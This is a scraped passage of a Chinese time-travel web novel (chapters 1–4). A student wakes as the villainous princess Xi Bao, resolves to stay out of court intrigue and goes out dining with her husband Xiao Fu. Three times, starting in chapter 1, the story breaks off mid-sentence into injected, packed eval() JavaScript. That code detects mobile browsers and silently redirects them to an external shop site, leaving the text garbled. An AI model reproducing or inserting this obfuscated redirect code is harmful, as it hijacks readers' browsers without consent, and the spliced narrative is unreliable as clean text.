《复国别找我(穿书)》 1. 开摆 蝉在叫,人坏掉…… 不对,是人懵掉。 郗萌躺在庭院的树荫下,喝着甜滋滋的冰镇酸梅汤,微风拂过一阵凉丝丝。本该惬意享受富人时光,她却一脸懵比。 “唉,怎么回家呀?”郗萌腹诽。 她无奈轻抬明眸,环视四周,庭院倒是清幽雅致。 西面墙边的竹架爬满花藤,茂密却不凌乱,显然是精心打理过的。廊边的各色花卉争奇斗艳,似乎在吸引主人的注意。 而她却没有赏花的闲情雅致,在枝繁叶茂的古树下思索着回家之道…… 大一寒假的某个夜晚,郗萌睡前淘书,发现一本名为《与君共婵娟》的小说,可巧男主与自己同姓。 因为郗(xi)姓罕见,她很少遇到同姓的情况,便饶有兴趣的看了起来。 虽然书名有几分诗意,但剧情狗血加玛丽苏,让人一边吐槽俗套,一边看的欲罢不能。男主是霸道总裁式太子,女主是亡国郡主白莲花,两人身隔灭国之仇,爱恨纠缠难断,期间自然少不了恶毒女配、深情男二的一通搅合。刚看到恶毒女配被男主套路,送到男三那边儿,小说就戛然而止。她一顿全网搜罗,得出一个结论——太监了…… 郗萌木得办法,只好带着郁闷入眠。 但当她睁开双眸,古香古色的闺房让她一头雾水,俯首帖耳的丫鬟让她一脸懵然,穿成女配的事实让她瞳孔炸裂。 看本烂尾书,怎么还给穿越了?不对,它都没尾啊。这剧情我知道,但又不完全知道,了解剧情的金手指算是木啦。还有,我上有父母,下有宠物,怎么能来这没手机、没游戏还封建的古代啊!苍天啊,大地啊,我想回家! 郗萌震惊过后,稳了稳心神,想起某个段子,号称“想穿越摸电门,想回去撞墙”,反正她一时也没别的法子,决定姑且一试。 “你们都下去吧,本宫想一人待会儿。”郗萌故意冷冷道。 原女配的贴身丫鬟晓福关切道,“公主,您大病初愈,好不容易清醒,怎能独处一室?” 郗萌知道原女配性格张扬跋扈,说一不二,便有样学样。她柳眉竖起,假装愠道,“怎么,本宫的话你们也敢不遵?” 屋内四个侍女齐刷刷跪倒在地,头深深低下不敢出声。 最后,还是晓福先开口道,“奴婢不敢,我等先行退下,随时待您吩咐。” 言罢,晓福起身带着其他人退出房间。 郗萌见众人离开,坐在床上选定一块儿墙,犹豫了一瞬,还是撞了上去。 “嘭”,瞬间疼得她呲牙咧嘴,但周围的环境没有丝毫变化。她考虑可能是自己不够狠,力度有所欠缺,才没能穿越回去,决定再豁出去搏一把。 可这回,她还没撞到墙就被人拉住,那人正是独自折返回来的晓福。她死死抱住郗萌,哭道,“公主,奴婢知道您心里苦,但万不能如此想不开呀。” 原主翌阳公主郗宝于大婚当晚高烧不止,连续昏迷数天。 郗萌穿越过来,这肉身才苏醒。而她这刚醒就撞墙,晓福便以为她是因皇太子郗宸的绝情而心伤,赶忙出言相劝。 她猜出了晓福的心思,知道别人都觉得她在为男主寻死觅活,演绎“为他痴为他狂,为他哐哐撞大墙”呢。 她和恶毒女配名字只有一字之差,而且小名都叫“宝儿”。可她对郗宝没有一分好感,主要是她太符合恶毒女配人设,书里半点人事儿不干。她因心仪男主,成天挑拨离间陷害女主。后来,男主巧施计谋套路她,让她被皇帝赐婚给男三,表面做亡国世子的正妻,实则当细作监视前朝遗老遗少,以防其不臣之心。 郗萌穿成她,着实欲哭无泪。而她对自己定位十分准确,细作的活她可干不了,就她这智商活不过宫斗第一集,当下决定不作妖苟着。 她又回想了回想原文的男三萧复。虽然名字像某武侠小说的表哥,但从不以复国为己任,每日花天酒地,十足的纨绔子弟。但他为人潇洒风趣,不拘小节,算是好相处。 郗萌便想努力和他打好关系,发展成战友啥的,在不愁吃喝的基础上慢慢寻找回家的方法…… 内心盘算好,郗萌不准备再试撞墙的傻办法,安慰梨花带雨的晓福,“别哭了,脑仁儿疼。生命至珍至贵,本宫绝无寻死之心,但刚才所为的原因不能对你们明说。你无需多想,切记勿对外泄漏。” 晓福一听郗萌没有想不开,心中大石暂且放下,信誓旦旦道,“您放心,奴婢跟您从公主府至此,知道您的心思,不会多说半句。” 郗萌心想,你能知道啥呀?我又不是原主,可没心思想怎么回京城,找男主再续前孽缘。 晓福在原文是郗宝的死忠粉,因幼时被女配从路边救起,免于饿死的命运,一直对她忠心耿耿。而她哪怕明知郗宝陷害原女主,做些伤天害理的事,还是义无反顾。此等忠奴,既可怜又可气。 这些郗萌都是知道的,而今反过来想想,此人也不是无药可救,好好把她归拢归拢,说不定能让她成为自己的帮手。 “别说这些了。既然离开了京城,那些恩恩怨怨就随风飘散吧,莫再管那些杂七杂八之事,努力开始新的生活方是正道。” 大义凛然说完,郗萌感觉装成别人太累了。 晓福闻言秀眉微蹙,低声道,“您说的是,可昨儿京里还飞鸽传书,询问您的身体和任务的情况。临行前圣上召您入宫,嘱托诸事,您当时还信心满满,如今懈怠怕是不妥。” “任务?神马任务?”郗萌揣着明白装糊涂,弱柳扶风道,“虽然本宫现在转醒,但总觉头痛,许多记忆似乎缺失,有些事情实在想不起来了。你说的事儿都记不清了……” 晓福撇了撇嘴,回想郗萌刚醒时问东问西,连自己的身份还反复确认,似乎真是重病伤脑,这可着实令人苦恼。但她还是柔声安抚道,“公主,打探的事确实不必不急于一时。您先好生休养身体,日后再从长计议。” 郗萌听对方还挺敬业,时刻不忘做卧底监视的事,心说,“别找我,真干不了。咱还是别卷了,直接开摆。” 但她嘴上“委婉”道,“本宫依稀记得,我之所以来此地嫁给萧复,均拜太子所赐。他不过是借皇上之手把本宫支开,朝廷肯定也不指望我能获取什么有用的机密。哪怕是毫无斩获,皇上应该也不会怪罪。要是打探不慎,泄露任务,反而弄巧成拙,还不如以静制动,不去自寻烦恼。” 晓福深以为意的点点头,觉得郗萌虽然丧失部分记忆,但分析问题鞭辟入里,这会儿彻底放下心来。“奴婢明白了。现在一方面要恭谨回复京里传书,一方面按兵不动隐藏目的。” “不错,孺子可教。”郗萌笑嘻嘻回道。 郗萌醒来后的日子过得波澜不惊,每天好吃好喝好穿伺候着,唯一的烦恼就是寻找回家之法。 她翻阅古籍历法,遍寻蛛丝马迹,却毫无头绪,更重要的是她都看不太懂…… 而驸马萧复在这三天里竟没出现过一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888238|192108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,郗萌倒觉得无所谓,也从不过问。反倒是王府的“一把手”山阳王——她的便宜公公,每日派人关心她的身体康复情况。 郗萌知这山阳王即被当朝灭掉的齐国之太子,亡国之君想通过她表达诚意罢了。但即便没有真情实感,每天如此嘘寒问暖、送钱送物,她心里也蛮热乎乎的。 感动之余,她没忘礼尚往来,从郗宝的嫁妆里选了座造型精致的血珊瑚,“晓福,你替本宫把这个送给王爷。就说我风寒未愈,不便亲自拜谢,请他老人家勿怪。” 晓福犹豫片刻,为难道。“公主,这是太子殿下送您的大婚礼物。您给王爷合适吗?” 郗萌没想到随便一挑,就这么巧,但正好借此和以往斩断关系。她毫不在意道,“既然送给本宫了,如何处置也用不着问别人。想来太子送的一定是好东西,送人也不丢面儿,你就送去吧。” “那好,奴婢这就去办。”晓福狐疑的将血珊瑚装好,小心翼翼的托着离开。 收到礼物后,山阳王派贴身近侍回礼,只道一家人无须客气,她与萧复小两口过好日子,自己便心满意足…… 这一日,她又在树下乘凉思索人生,听到院外传来一阵稳健的脚步声。 郗萌侧了侧头,向圆拱院门处望去。只见来人一袭宽袖白衣,袖角衣尾都绣着淡雅的青竹,身材挺拔颀长。仔细观瞧,那人面若冠玉,剑眉入鬓,眼似丹凤,鼻若悬胆,容貌俊逸卓群,好似画中走出的贵公子。而嘴角那一抹似有还无的浅笑,平添几分潇洒风流之气。 不用郗萌猜测来者何人,身后的丫鬟已边施礼边唤“世子爷”。 郗萌看痴了一瞬,心中喟叹,“不愧是玛丽苏小说的男配,这长相没挑啊。” 虽然帅哥当前,但她没忘记自己的人设。原文里郗宝很看不起亡国之人,言语间不掩高傲。 于是,她与萧复对视了一眼,淡淡道,“回来了?” 她的语气平淡无奇,但未起身行礼,躺姿很是倨傲不羁。其他人以为她是在压抑怒气,都噤声不语。 萧复似乎毫无察觉气氛有异,也不因郗萌的无礼而恼怒,依然笑道,“嗯,回来了。本世子听说公主您的病痊愈了,赶忙回来瞧瞧。在外面这几天,我着实担心极了。” 郗萌扯了扯嘴角,心想这萧复撒谎不打草稿,这几天他几乎处于音信全无的状态,担心个鬼啊。幸好自己不是真的嫁给他,否则真得气死。虽然他话说的不着调,但声音好似某位配音大大,竟让声控的郗萌觉得有几分悦耳。 不等郗萌吐槽,晓福低下头小声对她道,“公主,驸马才不担心呢。奴婢听说这几日他在风月之所流连,过分得很。您可别轻信。” 萧复耳力极好,自然听到晓福的“小报告,却仍然能腆着脸解释,“可别冤枉好人呐。那是公主不让本世子靠近,我这才谨听吩咐远赴他处,好让公主眼不见心不烦。” 郗萌知道原女配爱男主痴狂,洞房夜竟将萧复赶出新房,誓要守身如玉。此时想来,萧复所言有几分道理。 “算了。前尘往事俱忘却,心底无私天地宽。”郗萌也懒得纠结之前的破事,“过去的事不必再提。” 萧复拱手赞许道,“公主所言甚是,真乃宽宏大量。既然如此,本世子先回房休息了,听曲儿也挺累人的。” “且慢。”郗萌叫住萧复,“本宫也要出去游玩,想劳世子作陪。” 萧复停住脚步回身,侧头望向郗萌,脸上浮起玩味的笑容…… 2. 玩儿 作为出行便利的现代人,郗萌这几天大门不出二门不迈,实在是憋得慌,简直无聊的妈给无聊开门——无聊到家了。 虽然她不是真正的郗宝,但身体还是原主的,身份也在那儿摆着,哪怕行为不复以往,别人也不敢有异议。而且她觉得既然穿书了,这一个个的就不是纸片人、npc,都是有思想的个体,不能等着天降“剧情杀”。正所谓“在家靠父母,出门靠朋友”,自己得主动和大家伙吃喝玩乐培养感情,真有事时才不抓瞎。当然在她看来吃喝玩乐不算作妖,完全符合自己的既定策略。 既然来都来了,一时半会儿还回不去,自怨自艾也没啥用,不如换个环境开拓视野,再寻回家之路。实际,她就是想出去玩儿,但理由得冠冕堂皇。 而萧复不知其中缘由,还纳闷只短短几日,郗宝为何变得不似之前那般傲慢跋扈。 记忆回到洞房之夜,郗宝刺耳的话依然“难忘”。 “世子,你名中带‘复’,难不成还想复兴齐国吗?”郗宝面露不屑,嘲讽起萧复的名字。 萧复闻言也不恼,笑晏晏回道,“公主说笑,我哪有那痴人说梦的想法。可能是我爹不想我日复一日,蹉跎时光,勉励我勤奋苦读。只可惜我天生愚钝,不是读书的料儿。其实啊,还不如取‘忠’字,叫着‘效忠’也好听不是?” 郗宝轻哼一声,不予置评,只恹恹道身体不适,不便外人靠近,以免累及他人,竟将他“请出”了新房…… 如今这变化莫名勾起了他的兴趣。 “既然公主如此赏脸,本世子肯定陪好。”萧复欣然应允,“不知您想去哪儿?下馆子、听曲儿、游园通通不在话下,包君满意。” 郗萌没料到自己的提议正中人家下怀,萧复不愧是纨绔子弟,吃喝玩乐皆是拿手好戏。 “民以食为天。世子带本宫去尝尝此地特色美食,可好?” 郗萌在现世就喜欢到犄角旮旯寻找特色餐厅,品尝不同风味。好不容易穿越一次,不能委屈了嘴巴。 “没问题。流芳楼百年老字号,保证不比您在宫里吃的差。”萧复拍胸脯道。 “好,听世子安排吧。”郗萌秀眸微转,灵光一闪,“本宫如此出门,怕有不便,不如扮成男装更好。” 此举因她想起许多小说女主为便宜行事,经常女扮男装,她便玩心大起,也想试试不同的装束。 “好,本世子恭候。” 萧复做了个“请”的手势,于是如等女朋友试衣服的男士乖乖坐在石凳上静候。 郗萌起身返回卧房,想起一个问题,郗宝一个女孩子哪会有男装,自己刚才有点“奇思妙想”了。她刚想该怎么办,只见晓福从柜中拿出几套男装,请她挑选。 “这哪儿来的?”郗萌疑道。 晓福无奈叹了口气,看来主子忘记之事着实不少,本以为她想借衣念人,结果却……但她还是耐心解释,“公主,您以前觉得太子殿下的便服漂亮,私下命人依您的尺寸做了几身同款式的。” 郗萌闻言柳眉微皱,心叹,“我去,这女配对男主真是用情至深,可也太变态了,咦……” 她本有些嫌弃,但随意打开了一件雪白外衫,面料柔滑、绣工精致,堪称衣中上品,只一眼便让人挪不开目光。她瞬间啪啪打脸,觉得不穿白不穿。 可能许多女人无法抵挡好看衣服的诱惑,郗萌也不例外,即便是男装…… 梳妆之时,晓福又忍不住碎碎念,“公主,请恕奴婢多嘴。您之前不是挺瞧不上他们那些亡国之徒吗?还说,奉养他们简直浪费朝廷粮食。可现在您这又送血珊瑚,又一起出游的,究竟何意呢?” 郗萌淡淡一笑,“没什么深意。本宫依稀记得以前做过些不妥的事,而今大病一场宛若再世重生,决定‘洗心革面,重新做人’,不必再提以前如何如何了。以后做好人、行好事,但求问心无愧。” 她内心潜台词却想说, “我已经不是以前的‘我’了,从今天开始是钮钴禄…… 不是、不是,串戏啦,是根正苗红郗小萌了。 总想ooc,在崩人设的边缘疯狂试探呀……” 晓福思忖一瞬,默默点了点头,似是赞许郗萌的想法。她觉得“公主”能自己想通是好事,不再单恋煎熬,不用苦心设计,自己也无需助纣为虐…… 丫鬟们妙手“翻飞”了近半个时辰,郗萌一照镜子,竟一眼不识镜中人,心中感叹,“这还是我吗?” 伊人清水出芙蓉,天然去雕饰,着实清丽不可方物。 她与郗宝长得不能说毫无关系,简直是一个模子里刻出来的。柳叶柔眉,杏眼圆眸,樱唇嫣红,玲珑俏鼻,皮肤白皙,人如其名娇萌秀丽。虽然长相是萌妹子,身材却凹凸有致,窈窕曼妙,满满的纯欲风。只可惜原主长最萌的脸,干最恶的事,妥妥“的反差萌”。 而郗萌从小不在意外表,更懒得研究“换头术”,成天素面朝天,马尾发型不变,还戴着大黑框眼镜。衣着也甚为普通,只求宽大舒适,与流行背道而驰。这一通操作完美封印颜值,导致她放到人堆里便迅速淹没人海。她也不擅长和异性打交道,一直贯彻“好好学习、天天向上”的理念,母胎单身到大学。刚准备大一结束她那悲催的单身狗生涯,结果一不留神穿越到这异世…… 可即便来到此处,她依旧秉承随遇而安的性子,每天清水洗脸不擦粉,一绾青丝不捯饬,一袭长裙不折腾。只穿越当天照了照镜子,还是副大病初愈的枯槁面容,没觉得有啥异样。如今被丫鬟们的巧手一拾掇,还真有点天生丽质难自弃,整得还不好意思了。 “手艺不错,辛苦啦。”郗萌真心夸奖道。 “谬赞了,您高兴就好。”晓福捧起她钟意的白衣,“请您宽衣。” 但考虑到男扮女装,晓福贴心得让侍女帮郗萌用透气细纱束胸。而她自己也换上了府中男仆的衣服…… 又过了一炷香的时间,郗萌服饰穿戴妥当。再打眼望向镜子,发冠高束,平添英气,披发垂肩,灵动洒脱,再加上一身得体白衣华服,好一位俊俏的小公子。 郗萌定睛注释片刻,对这副装扮甚是满意,但总觉得手里少件趁手的道具。 她秀眸一转,恍然大悟——是扇子, 古代文人墨客都少不了折扇“装*”。折扇手中轻摇,自加风流倜傥buff。 她见萧复自进门就手握折扇,而原文中他也有收藏折扇的癖好,正好朝他借用一把。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888239|192108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >于是,郗萌带着计划通昂首阔步走出屋门。 等待许久的萧复,百无聊赖的转扇子,听见脚步声抬眸,竟看痴了一瞬,嘴角不经意流露丝丝笑意。 他忙站起身相迎,夸道,“哟,这是哪里来的绝尘出世的佳公子?不行了,本世子都不想随您一块出去了。” 虽然对方捧得夸张,但郗萌还是忍不住泛起一股虚荣,问道,“为何?” “本世子怕和您出游显得我太平庸,佳人们都得围着你转。”萧复厚着脸皮玩笑道。 本来前一句奉承听得郗萌还算受用,可后一句就不是那么个味儿了。但他在萧复的插科打诨之下,也变得不那么端着架子,嫣然回道,“行了,就您这长相、个头往那一戳,美女们都忽略不掉你。” 她下意识再次打量了萧复,身高应该有185,自己165的个头瞬间有点不够看,连颜值都逊色了几分。 而她身畔的侍女面露奇怪之色,觉得她们的公主竟丝毫不在意萧复提别的姑娘,还能幽默处之,真是病得换了个人似的。只是她们不知,郗宝的身体当真换了位有趣的灵魂…… 萧复没料到郗萌如此好说话,就这台阶拱手道,“失言了失言了,一句玩笑话而已,您大人不记小人过。咱这就出门?” “稍等。本宫觉得这身装束缺点睛之处,想劳世子借一把折扇,附庸几分风雅可好?”郗萌笑眯眯道。 一提借扇子,萧复的笑脸瞬间戴上了痛苦面具,明显是不舍得。 郗萌猜测他虽亡国落魄,但不缺金银,想必收藏的都是大家墨宝,可能担心自己不慎损坏,暴殄天物。于是善解人意补充道,“世子不必纠结,着人拿把普通的即可,装装样子罢了。” 萧复僵硬的点点头,“没事,承蒙公主不弃。”随即,对身边侍从耳语了几句,再向她挤出个笑容…… 插曲过后,郗萌拿着折扇潇洒出门,颇有几分玉树临风的派头。 而她也不想前簇后拥,只晓福一人跟着。萧复来去如风惯了,也只有贴身侍从徐决跟随。 走出王府窄巷,踏上定城大街,街道两旁商肆栉比鳞次,招幌飘摇,车马人流穿梭,叫卖之声入耳,无一不彰显定城的繁华。 郗萌头一遭出门好奇万分,但自持公主身份,仅微微侧头慢慢观瞧,好不过瘾。 萧复倒敬职敬业,边走边介绍各处商铺,说哪家的桂花饼好吃,哪家的云缎好看,还有哪家的菜肴好坑人…… 大概一盏茶时间,一行人来到一座临江酒楼,入口匾额高悬,“流芳楼”三个鎏金大字映入眼帘。这酒楼明显比两侧店铺雄伟,拔地而起三层楼,雕梁画柱好颜色,酒菜飘香十里远,让人忍不住驻足。 酒楼的客人熙熙攘攘、络绎不绝,生意很是红火。店小二似是认识萧复,客气的上前相请,将四人熟练的带入三楼包厢。 郗萌倚窗而坐,望着窗外湍湍江水,觉得《滕王阁序》描述的正是此情此景,脱口而出道, “披绣闼,俯雕甍,山原旷其盈视,川泽纡其骇瞩。 闾阎扑地,钟鸣鼎食之家;舸舰弥津,青雀黄龙之舳。 云销雨霁,彩彻区明。 落霞与孤鹜齐飞,秋水共长天一色……” 3. 整词 萧复见郗萌出口成章,鼓掌称赞,“好文采,真令本世子自惭形秽啊。”而后他望了望碧空中央的烈日,手指轻抚剑眉,“只是这刚晌午时分,言落霞貌似尚早……” 文不对景,略显尴尬。 郗萌轻咳一声,“借古人诗词抒怀,何必拘泥风景。” “所言极是,意思对了就好,何须咬文嚼字,是本世子落了下乘。”萧复又问,“可能我才疏学浅,不知这诗为哪位大家所作?” 郗萌知道这不归中华上下五千年管,不好科普《滕王阁序》,生硬道,“本宫也记不清了,有感而发罢了。” “哦。那您想吃点什么?有何忌口?”萧复殷勤道。 “本宫不喜酸辣,此两类菜肴就不用点了。世子更了解这里的饭菜,由你做主吧。”郗萌装得仪态端庄,实际早被流芳楼的菜香勾出馋虫,心里已摩拳擦掌,准备甩开腮帮子吃。 而侧立一旁的晓福面色稍稍一变,她心知郗宝以前爱吃酸辣之物,还曾自嘲或许因为喜酸,才总吃太子的醋…… “好,绝不辜负公主信任。” 萧复命人将店小二叫进来,把郗萌的忌口一说,便让他去准备宴席,自己却没报一个菜名。 郗萌瞬间感觉自己被敷衍了,心想,这也忒不靠谱了,哪怕普通客人还得点俩菜意思意思吧,他这直接外包了。锅甩得很溜嘛,哪怕一会儿饭菜不合口味,也有背锅的了。 窗外飘进一缕婉转的歌声,仿佛将人带到那清雅水镇。 萧复的注意力完全被歌声吸引,丝毫没注意到郗萌情绪的变化,他望着江上的画舫,“您听,这是我们齐国的民间小调。这姑娘唱的真好,情真意切,妙音绕梁。” 晓福看出郗萌面色不佳,欠身附耳道,“公主,这虽一江之隔,但江北为我们梁国疆土,而江南是齐国故土。看来世子是睹物思旧,闻曲忆乡了……”她言外之意是萧复贼心不死,让郗萌仍需提防。 郗萌只是因为人家敷衍略有微词,对他思国思乡倒毫无感觉,甚至还挺理解。谁能不想家,尤其是背井离乡之人,她就特别想回家。 歌声缭绕,江水奔流。 亡国故土,何处为家? “烟笼寒水月笼沙,夜泊秦淮近酒家。商女不知亡国恨,隔江犹唱后庭花。”郗萌随口低吟了几句,九年义务教育学的诗词此时都用来装*了。 而屋内其他人以为她是在嘲讽萧复忘记国仇家恨,贪图美色、安于享乐,气氛瞬间冷了下来。 面面相觑之时,郗萌也知自己失言了,想着该说什么圆场。 萧复倒毫不介意,率先开□□跃气氛,浅笑道,“这首诗作的不错,只是‘□□花’是哪首曲子,本世子怎么从未听过,有点可惜。公主您会唱吗?” 郗萌微微摇首,“本宫不会,这首诗也不过拾人牙慧。” “您能记住说出来,就比本世子强多了。我能记得昨天歌女的发钗样式,也记不住这些诗词歌赋。”萧复语气自然,毫无哀怨之感,似乎对故土无甚留恋,“还有,亡国关人家‘商女’何事,怪不着人家呀。” 闻此一言,郗萌顿觉萧复还有点良知,赞同道,“是呀,那些男人流连风月,不去保家卫国,怎么能怨红颜祸水?” 萧复嘴角一僵,以为又在讽刺自己,赔笑检讨道,“亡国十五载,本世子不思进取,耽于享乐,确实汗颜,让您看笑话了……” 郗萌心想你要是励精图治朝廷也就不能轻易放过你了。她记起在原文里,齐国被灭时萧复不过七八岁,一切种种与他无犹。 “本宫没说你的意思。况且,齐国灭亡也不非你的过错。王朝交替属天理循环,非常人所能改。一个人能随遇而安,不为外物所扰,也挺不容易的。这世上有人天纵英才,能成国之栋梁,也有人资质平庸,只能碌碌无为。不同的人有不同的活法,只要不违道德法度,他人无权置喙。” 翻译过来,没心没肺也挺好,不是人人能当卷王。 “说得好,真真说到本世子心坎里了。”萧复仿佛找到知音,更找到了自己玩乐的正当理由,一时激动竟拉住郗萌的玉手。 一刹那,郗萌感觉从手指传来一股电流,直击心房。除了礼节之外,这是她第一次被异性握住手,如此紧实,又透着温暖。她望向萧复澄净的星眸,酒逢知己之意溢于言表,眼神不掺杂一点虚假,不由看痴须臾。 恍惚过后,她不禁埋怨自己花痴,被美色蛊惑,连忙抽回手,转移话题道,“其实,纵观历朝历代,皇帝如走马灯般你方唱罢我登场,在位者是谁或许不是最重要的,只要老百姓能吃饱穿暖比什么都强。” 萧复也因一时失礼,尴尬的搓了搓手指,一瞬后又重新恢复那一脸没心没肺的笑容。 “没想到您除了满腹诗书,还境界超凡脱俗,时时心系百姓。不愧是圣上的掌上明珠,能娶到你真是我三世修来的福气。” 郗萌轻轻扯了扯嘴角,忍着没让自己露出“地铁老人看手机”的嫌弃表情,觉得他这回的商业吹捧有点假了。 原主郗宝乃梁国瑞庆帝胞妹的女儿,她母亲是身份崇高的长公主,父亲为战功赫赫的镇远将军。可惜其父在征伐齐国过程中壮烈殉国。梁帝感念其父功绩,特赐她国姓,取名为“宝”,册封翌阳公主,宠爱程度可见一斑。可惜她母亲壮年丧夫,备受打击,疾病缠身,早早撒手人寰,只留郗宝一个血脉。于是,瑞庆帝将幼年的她接入皇宫养育,视若己出,还将长公主府邸留给了她。也因此,她与太子郗宸青梅竹马,暗生情愫,但神女有心,襄王无梦…… 说话间,店小二带着人来上菜。各色菜式琳琅满目,眼睛应接不暇,没一会儿便摆满圆桌。佳肴香气四溢,闻之就让人食指大动。 萧复在一旁跃跃欲试,不过不是吃菜,而是款款而谈的介绍了起来。 他亲手掀开郗萌面前的紫砂坛盖,慢慢揭去顶上荷叶。瞬间,肉香扑鼻,直沁心脾,令她眼前一亮。 “这道菜是流芳楼的招牌之一,名曰‘不羡仙’。汇聚了鲍鱼、海参、鱼唇、鹿筋、花菇、瑶柱等几十种珍贵食材,炖时再加入高汤老酒,文火慢慢煨制,融天地精华于一坛,亦叫‘福寿全’。吃上这里头一口肉,神仙都不稀罕做。” 听他夸的天花乱坠,郗萌本就“躁动”的心也呼之欲出。她忆起现世在小馆吃过一次佛跳墙,这道菜不就是换了个名儿么。 “坛启荤香飘四邻,佛闻弃禅跳墙来。”郗萌想着将那菜单上的一句诗吟了出来,又拽了一回文。 “这诗写的也好,老和|尚都弃禅跳墙来吃肉,有意思。”萧复最后补了一句,“也不是您作的吧?” 郗萌轻咳两声,没再说话,算是默认了。 晓福刚见郗萌对不羡仙很感兴趣,主动拿起小碟帮她夹起一块儿蹄筋,轻轻放在她的面前。 蹄筋晶莹剔透,筷中颤动,入口荤香浓郁,软嫩弹牙,鲜美非常。咀嚼咽下,仍然唇齿留香,品质绝非现世的佛跳墙可比。 郗萌接着又吃了其他几种食材,味中有味,回味无穷,衷心赞叹,“真好吃!” “公主喜欢就好。”萧复随即指向另一道淋汁的金黄鲤鱼,又开启安利模式,“这道菜叫‘跃龙门’。您看这样式多别致,鱼头高昂,尾巴翘起,好像奋力越过龙门,变成了一条金色巨龙。也因为它吉祥喜庆,很受赶考士子们的喜爱。您也尝尝。” 郗萌最喜欢糖醋菜肴,眼前这松鼠鱼更是她的心头好。她立马接过小碟张口品尝,外脆里嫩,酸甜可口,绝了! 她忍着竖指点赞的冲动,改诗赞道,“此菜只应天上有,人间难得几回尝。” 萧复拱手回道,“公主谬赞,我和厨子与有荣焉啊。咱们再尝尝其他菜,保证每一道都让您不虚此行。” “好啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888240|192108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个老饕(吃货)的距离,在一道道精美菜肴的加持下越来越近…… 期间,萧复几度茶水润嗓,始终如数家珍的口若悬河。 而郗萌见晓福和徐决在一旁恭谨站立,进门后连一口水都没喝,如此下去恐怕得干熬一中午。 在王府用膳时,她都不让别人伺候,也是尽量快吃,让丫鬟们能正点儿换班吃饭。刚才面对“外人”,架子摆的有点过头,真成衣来伸手、饭来张口的封建老财了。 “晓福,你们先下去,也用点午膳,不用在这儿侍候了。” 晓福想起这几日府中惯例,知道郗萌是担心她们饿肚子,但不敢留她一人与萧复独处,犹豫的望着她。 郗萌微微颔首,向她轻轻摆手,示意她不必忧心。 而旁边的萧复见此,也向徐决使了个眼色。 徐决会意,做了个“请”的手势,带晓福一同离开。 屋内只剩他们二人,可还没等郗萌动筷,萧复问道,“公主屏退左右,是有要事需单独说吗?” “没有。”郗萌摇摇头。 “那为何?……”萧复着实不解。 “没别的事,就是‘别人站着咱坐着,别人看着咱吃着’,有点不厚道,太剥削人了。所以,让他们出去放松下,吃吃饭。”郗萌见萧复一直吊儿郎当,不拘泥俗礼,而此刻没了别人,她也放下了些架子,说话不再字斟句酌。 听对方如此说,萧复更加迷惑,觉得这言行更不符合她往日作风。回想这一路来,她大多时候表现得雍容典雅,但明显是故作姿态。偶尔流露出的天真小表情,似乎才是她的真性情。而她为何要装?她的真实面目究竟是什么样?现在的她,不同于婉儿口中的她,也不像那洞房夜的她。难道真是病得痛改前非了? 许多问题萦绕心头,他却没急于询问,只道,“言之有理。您身居高位,还能设身处地为他人着想,此等胸襟气度真让本世子越来越佩服了。” 郗萌听他总说客套又刻意的话,耳朵都不太舒服,“男子汉大丈夫,不必总曲意逢迎。你如往常行事便可,奉承来奉承去,显得太假了。” 萧复一怔,没料到她如此直言不讳,下意识手指搔搔额头。他干笑一声缓了缓气氛,也直率道,“本世子是在讨好你。你是圣上的爱女,我怕稍有不慎招来麻烦。但是,刚才的那些话,我是真心觉得你说的对,绝无违心之语。” 见对方说的真诚,郗萌嫣然回道,“既然如此,就别虚头巴脑的假客气了。赶紧吃饭,可别浪费了这一桌美食。” “好,先用饭。”说着萧复帮郗萌添上一杯新茶。 郗萌浅笑致谢后,心无旁骛得吃了起来。每道菜皆是色香味俱全,一时间让她乐不思蜀…… 酒过三巡,菜过五味,席间二人未多做交流。 萧复见她心满意足得放下筷子,借着微醺的酒意问,“公主,有个问题不知当不当讲。” 郗萌只品尝了一杯水酒,虽然浓香醇郁,但她还是不喜欢那股子辣味,没有多喝,期间都是萧复自斟自酌。 此时看着萧复微红的脸颊,迷离的眼神,她不禁玩心骤起,反套路道,“既然不当讲就不必问了。” “啊?”萧复愣了一下。 “逗你的,有什么想问的但说无妨。”郗萌正了正身子,侧耳倾听。 “没什么大事,就是想冒昧问一句,总觉得您的脾气举止和以前大相径庭,究竟为何?”萧复一吐心中疑惑。 郗萌也猜到他可能会问这个问题,整理了番措辞,坦然道,“这次大病,算是鬼门关前走了一遭。可能因此带走了身上的邪念,也忘却了许多前尘往事,让本宫得以脱胎换骨重新做人,重新‘人之初,性本善’了。” 萧复将信将疑的点点头,低头默默地思忖。 突然,他抬起头,恍然大悟道,“难道是借尸还魂,话本中说的‘夺舍’?!” 4. 朋友 “噗!” 郗萌差点没把嘴里的茶水喷出来。 